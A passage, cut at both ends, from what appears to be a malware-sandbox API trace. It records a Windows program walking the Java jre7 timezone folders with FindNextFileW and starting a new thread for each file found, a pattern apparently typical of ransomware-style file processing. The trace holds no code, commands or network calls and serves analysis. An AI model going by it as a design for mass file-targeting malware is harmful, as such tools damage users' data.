Size=0x70) returned 0x93cbc0 [0189.448] wcscpy (in: _Dest=0x93cbc0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0189.448] wcscat (in: _Dest=0x93cbc0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0189.448] wcscat (in: _Dest=0x93cbc0, _Source="Grenada" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Grenada") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Grenada" [0189.448] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93cbc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13d0 [0189.449] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Guadeloupe", cAlternateFileName="GUADEL~1")) returned 1 [0189.449] wcscmp (_String1="Guadeloupe", _String2=".") returned 1 [0189.449] wcscmp (_String1="Guadeloupe", _String2="..") returned 1 [0189.449] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x76) returned 0x8d0600 [0189.449] wcscpy (in: _Dest=0x8d0600, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0189.449] wcscat (in: _Dest=0x8d0600, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0189.449] wcscat (in: _Dest=0x8d0600, _Source="Guadeloupe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Guadeloupe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Guadeloupe" [0189.449] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0600, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15fc [0189.451] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x0, dwReserved1=0x0, cFileName="Guatemala", cAlternateFileName="GUATEM~1")) returned 1 [0189.451] wcscmp (_String1="Guatemala", _String2=".") returned 1 [0189.451] wcscmp (_String1="Guatemala", _String2="..") returned 1 [0189.451] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x74) returned 0x8d0e80 [0189.451] wcscpy (in: _Dest=0x8d0e80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0189.451] wcscat (in: _Dest=0x8d0e80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0189.451] wcscat (in: _Dest=0x8d0e80, _Source="Guatemala" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Guatemala") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Guatemala" [0189.451] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10ac [0189.452] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Guayaquil", cAlternateFileName="GUAYAQ~1")) returned 1 [0189.452] wcscmp (_String1="Guayaquil", _String2=".") returned 1 [0189.452] wcscmp (_String1="Guayaquil", _String2="..") returned 1 [0189.452] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x74) returned 0x8d0000 [0189.452] wcscpy (in: _Dest=0x8d0000, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0189.453] wcscat (in: _Dest=0x8d0000, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0189.453] wcscat (in: _Dest=0x8d0000, _Source="Guayaquil" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Guayaquil") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Guayaquil" [0189.453] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e8 [0189.454] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0x0, dwReserved1=0x0, cFileName="Guyana", cAlternateFileName="")) returned 1 [0189.454] wcscmp (_String1="Guyana", _String2=".") returned 1 [0189.454] wcscmp (_String1="Guyana", _String2="..") returned 1 [0189.454] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x93c1e8 [0189.454] wcscpy (in: _Dest=0x93c1e8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0189.454] wcscat (in: _Dest=0x93c1e8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0189.454] wcscat (in: _Dest=0x93c1e8, _Source="Guyana" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Guyana") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Guyana" [0189.454] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c1e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e4 [0189.943] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x774, dwReserved0=0x0, dwReserved1=0x0, cFileName="Halifax", cAlternateFileName="")) returned 1 [0189.943] wcscmp (_String1="Halifax", _String2=".") returned 1 [0189.943] wcscmp (_String1="Halifax", _String2="..") returned 1 [0189.943] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x8e8f80 [0189.943] wcscpy (in: _Dest=0x8e8f80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0189.943] wcscat (in: _Dest=0x8e8f80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0189.943] wcscat (in: _Dest=0x8e8f80, _Source="Halifax" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Halifax") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Halifax" [0191.505] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8f80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1640 [0191.506] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x53c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Havana", cAlternateFileName="")) returned 1 [0191.506] wcscmp (_String1="Havana", _String2=".") returned 1 [0191.506] wcscmp (_String1="Havana", _String2="..") returned 1 [0191.506] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x93c0f8 [0191.506] wcscpy (in: _Dest=0x93c0f8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0191.507] wcscat (in: _Dest=0x93c0f8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0191.507] wcscat (in: _Dest=0x93c0f8, _Source="Havana" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Havana") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Havana" [0191.507] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c0f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf28 [0191.508] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hermosillo", cAlternateFileName="HERMOS~1")) returned 1 [0191.508] wcscmp (_String1="Hermosillo", _String2=".") returned 1 [0191.508] wcscmp (_String1="Hermosillo", _String2="..") returned 1 [0191.508] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x76) returned 0x8d0180 [0191.508] wcscpy (in: _Dest=0x8d0180, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0191.508] wcscat (in: _Dest=0x8d0180, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0191.508] wcscat (in: _Dest=0x8d0180, _Source="Hermosillo" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Hermosillo") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Hermosillo" [0191.508] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0180, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1728 [0191.509] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indiana", cAlternateFileName="")) returned 1 [0191.509] wcscmp (_String1="Indiana", _String2=".") returned 1 [0191.509] wcscmp (_String1="Indiana", _String2="..") returned 1 [0191.509] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x93c170 [0191.509] wcscpy (in: _Dest=0x93c170, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0191.509] wcscat (in: _Dest=0x93c170, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0191.509] wcscat (in: _Dest=0x93c170, _Source="Indiana" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Indiana") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Indiana" [0191.510] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x93c170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x900 [0191.511] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x424, dwReserved0=0x0, dwReserved1=0x0, cFileName="Inuvik", cAlternateFileName="")) returned 1 [0191.511] wcscmp (_String1="Inuvik", _String2=".") returned 1 [0191.511] wcscmp (_String1="Inuvik", _String2="..") returned 1 [0191.511] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x93c9e0 [0191.511] wcscpy (in: _Dest=0x93c9e0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0191.511] wcscat (in: _Dest=0x93c9e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0191.511] wcscat (in: _Dest=0x93c9e0, _Source="Inuvik" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Inuvik") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Inuvik" [0191.511] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c9e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1774 [0191.512] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x428, dwReserved0=0x0, dwReserved1=0x0, cFileName="Iqaluit", cAlternateFileName="")) returned 1 [0191.512] wcscmp (_String1="Iqaluit", _String2=".") returned 1 [0191.512] wcscmp (_String1="Iqaluit", _String2="..") returned 1 [0191.512] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x93c698 [0191.512] wcscpy (in: _Dest=0x93c698, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0191.512] wcscat (in: _Dest=0x93c698, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0191.512] wcscat (in: _Dest=0x93c698, _Source="Iqaluit" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Iqaluit") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Iqaluit" [0191.512] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c698, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9b0 [0191.513] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Jamaica", cAlternateFileName="")) returned 1 [0191.513] wcscmp (_String1="Jamaica", _String2=".") returned 1 [0191.513] wcscmp (_String1="Jamaica", _String2="..") returned 1 [0191.513] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x93ca58 [0191.513] wcscpy (in: _Dest=0x93ca58, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0191.513] wcscat (in: _Dest=0x93ca58, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0191.514] wcscat (in: _Dest=0x93ca58, _Source="Jamaica" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Jamaica") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Jamaica" [0191.514] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93ca58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa70 [0191.515] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Juneau", cAlternateFileName="")) returned 1 [0191.515] wcscmp (_String1="Juneau", _String2=".") returned 1 [0191.515] wcscmp (_String1="Juneau", _String2="..") returned 1 [0191.515] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x8faec0 [0191.515] wcscpy (in: _Dest=0x8faec0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0191.515] wcscat (in: _Dest=0x8faec0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0191.515] wcscat (in: _Dest=0x8faec0, _Source="Juneau" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Juneau") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Juneau" [0191.515] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8faec0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a0 [0191.516] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kentucky", cAlternateFileName="")) returned 1 [0191.516] wcscmp (_String1="Kentucky", _String2=".") returned 1 [0191.516] wcscmp (_String1="Kentucky", _String2="..") returned 1 [0191.516] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x8d0c00 [0191.516] wcscpy (in: _Dest=0x8d0c00, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0191.516] wcscat (in: _Dest=0x8d0c00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0191.516] wcscat (in: _Dest=0x8d0c00, _Source="Kentucky" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Kentucky") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Kentucky" [0191.516] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d0c00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16dc [0191.517] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x51, dwReserved0=0x0, dwReserved1=0x0, cFileName="La_Paz", cAlternateFileName="")) returned 1 [0191.517] wcscmp (_String1="La_Paz", _String2=".") returned 1 [0191.517] wcscmp (_String1="La_Paz", _String2="..") returned 1 [0191.517] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x8fa920 [0191.517] wcscpy (in: _Dest=0x8fa920, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0191.518] wcscat (in: _Dest=0x8fa920, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0191.518] wcscat (in: _Dest=0x8fa920, _Source="La_Paz" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\La_Paz") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\La_Paz" [0191.518] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8fa920, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1660 [0191.519] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lima", cAlternateFileName="")) returned 1 [0191.519] wcscmp (_String1="Lima", _String2=".") returned 1 [0191.519] wcscmp (_String1="Lima", _String2="..") returned 1 [0191.519] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x8fa8a8 [0191.519] wcscpy (in: _Dest=0x8fa8a8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0191.519] wcscat (in: _Dest=0x8fa8a8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0191.519] wcscat (in: _Dest=0x8fa8a8, _Source="Lima" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Lima") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Lima" [0191.519] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8fa8a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a74 [0191.520] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x618, dwReserved0=0x0, dwReserved1=0x0, cFileName="Los_Angeles", cAlternateFileName="LOS_AN~1")) returned 1 [0191.520] wcscmp (_String1="Los_Angeles", _String2=".") returned 1 [0191.520] wcscmp (_String1="Los_Angeles", _String2="..") returned 1 [0191.520] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x78) returned 0x8d0900 [0191.520] wcscpy (in: _Dest=0x8d0900, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0191.520] wcscat (in: _Dest=0x8d0900, _Source="\\" | 